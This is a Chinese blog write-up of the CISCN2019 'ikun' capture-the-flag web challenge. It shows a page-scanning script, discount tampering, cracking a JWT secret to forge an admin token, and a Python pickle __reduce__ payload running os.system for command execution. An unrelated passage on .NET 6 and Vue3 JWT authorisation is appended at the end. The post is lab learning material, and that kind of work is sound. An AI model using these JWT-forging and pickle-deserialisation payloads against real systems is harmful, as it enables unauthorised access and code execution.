JWT+python反序列化漏洞 [CISCN2019 华北赛区 Day1 Web2]ikun

前面的步骤不是很重要 (主要是这个题太魔性)

主要是一个去找lv6所在页面

import requests

url = "http://b9ac92ba-7b09-4b78-9ed8-540734732bff.node4.buuoj.cn:81/shop?page="
i=1
while True:
    r = requests.get(url + str(i))
    if 'lv6.png' in r.text:
        print (i)
        break
    i=i+1

因为太贵了 修改price发现没有用 于是修改了discount
为0.000001
在这里插入图片描述
在这里插入图片描述
到了这里发现只允许admin访问 所以需要伪造一个admin身份

再次访问这个页面 并且抓包 可以看到这里有一个jwt字段

JSON Web Token (JWT)是一个开放标准(RFC 7519),它定义了一种紧凑的、自包含的方式,用于作为JSON对象在各方之间安全地传输信息。该信息可以被验证和信任,因为它是数字签名的。

由于知识面太窄 所以以前不太懂这个东西

JSON Web Token由三部分组成,它们之间用圆点(.)连接。这三部分分别是:
Header Payload Signature

Header header典型的由两部分组成:token的类型(“JWT”)和算法名称(比如:HMAC SHA256或者RSA等等)。
比如:

{
    'alg': "HS256",
    'typ': "JWT"
}

Payload JWT的第二部分是payload,它包含声明(要求)。声明是关于实体(通常是用户)和其他数据的声明。

例如:

{
    "sub": '1234567890',
    "name": 'john',
    "admin":true
}

Signature
为了得到签名部分,必须有编码过的header、编码过的payload、一个秘钥,签名算法是header中指定的那个,然对它们签名即可。

HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)

以上部分引用自这个链接
在这里 我们可以得到一个jwt 可以到jwt.io来破译
在这里插入图片描述
在这里插入图片描述
可以解出前面的信息 但无法破译密匙 想要伪造jwt需要得到密匙之后 再给wzk改为admin重新生成一个jwt发送过去

https://gitcode.net/mirrors/brendan-rius/c-jwt-cracker?utm_source=csdn_github_accelerator
可以使用这里面的工具去破解

在这里插入图片描述
可见密匙为1Kun 和我个人的博客1kun.xyz居然撞名了
在这里插入图片描述
成功发送并找到了藏在这里的源码 下载下来阅读
之后便是重点 在这里插入图片描述
这里用become参数来控制p的反序列化 之后并会送到form页面进行渲染在这里插入图片描述
这里会进行回显 所以我们现在要去admin页面进行操作

这里先对python的反序列化进行总结:
序列化:

pickle.dumps()

反序列化

pickle.loads()

在这里插入图片描述
在这里插入图片描述
可见成功完成了序列化与反序列化

import pickle
import os
class A(object):
    def __reduce__(self):
        return (os.system,('ls',))
a = A()
test = pickle.dumps(a)
print(test)

>>
cposix
system
p0//编号p0
(S'ls'
p1 
tp2
Rp3
.

在python中内置了__reduce__(self) 类 类似wake_up 在反序列化的时候会执行 可以利用它来执行命令。
reduce函数 返回一个元组。这个元组包含2到5个元素,其中包括:一个可调用的对象,用于重建对象时调用;一个参数元素,供那个可调用对象使用;
比如return (os.system,(‘ls’,)) 就会执行os.system(‘ls’)

c:读取新的一行作为模块名module,读取下一行作为对象名object,然后将module.object压入到堆栈中。
(:将一个标记对象插入到堆栈中。为了实现我们的目的,该指令会与t搭配使用,以产生一个元组。
t:从堆栈中弹出对象,直到一个(被弹出,并创建一个包含弹出对象(除了()的元组对象,并且这些对象的顺序必须跟它们压入堆栈时的顺序一致。然后,该元组被压入到堆栈中。
S:读取引号中的字符串直到换行符处,然后将它压入堆栈。
R:将一个元组和一个可调用对象弹出堆栈,然后以该元组作为参数调用该可调用的对象,最后将结果压入到堆栈中。
.:结束pickle
cos
system
(S'ls'
tR.

反序列化 会成功执行

这里就相当于os.system(‘whoami’)

成功执行

所以我们可以构造一个需要我们执行的代码在reduce中,并序列化出它的结果然后进行抓包伪造,然后去执行该命令。

使用 commands.getoutput() 可以得到回显 才可以渲染到下一页中 方便我们查看
在这里插入图片描述
伪造become 发现成功 之后改为打开flag就可以 想反弹shell 但是失败了 明天再试试。

在这里插入图片描述

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
Netcore6.0是微软推出的全新版本的开发框架,它提供了强大且灵活的功能,用于构建Web应用程序和API。Web API是Netcore6.0中的一项重要功能,它允许我们构建基于HTTP协议的API,并通过JSON格式进行数据交换。 JWT(JSON Web Token)是一种用于在网络应用间传递信息的安全方法。在Netcore6.0中,我们可以使用JWT来实现Web API的授权功能。JWT由三部分组成:头部、载荷和签名。头部包含了令牌的类型和算法,载荷包含了我们想要传递的数据,签名通过使用密钥进行加密来验证令牌的合法性。 在Netcore6.0中,我们可以使用Microsoft提供的Microsoft.AspNetCore.Authentication.JwtBearer包来简单地实现JWT的授权功能。首先,我们需要在Startup.cs文件的ConfigureServices方法中配置JWT的身份验证服务,并指定密钥、颁发者、验证等参数。然后,在Configure方法中启用身份验证中间件和JWT授权中间件。 在Vue3中,我们可以使用Axios库来发送HTTP请求并附带JWT令牌进行授权。Vue3是一种流行的JavaScript框架,用于构建现代化的用户界面。通过Axios,我们可以将JWT令牌添加到请求的Authorization头部中,并在后端接收到请求时进行验证。 为了实现Vue3与Netcore6.0的JWT授权,我们首先需要在Vue3项目中安装Axios库,并配置请求拦截器,在每个请求发送前将JWT令牌添加到请求头中。后端接收到带有JWT令牌的请求后,使用相同的密钥和算法进行解密并验证令牌的合法性。 综上所述,Netcore6.0的Web API和Vue3的JWT授权组合,可以实现安全可靠的API授权。通过合理的配置和使用,我们可以保护API免受未经授权的访问,并确保只有经过身份验证的用户才能访问敏感数据或执行特定操作。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值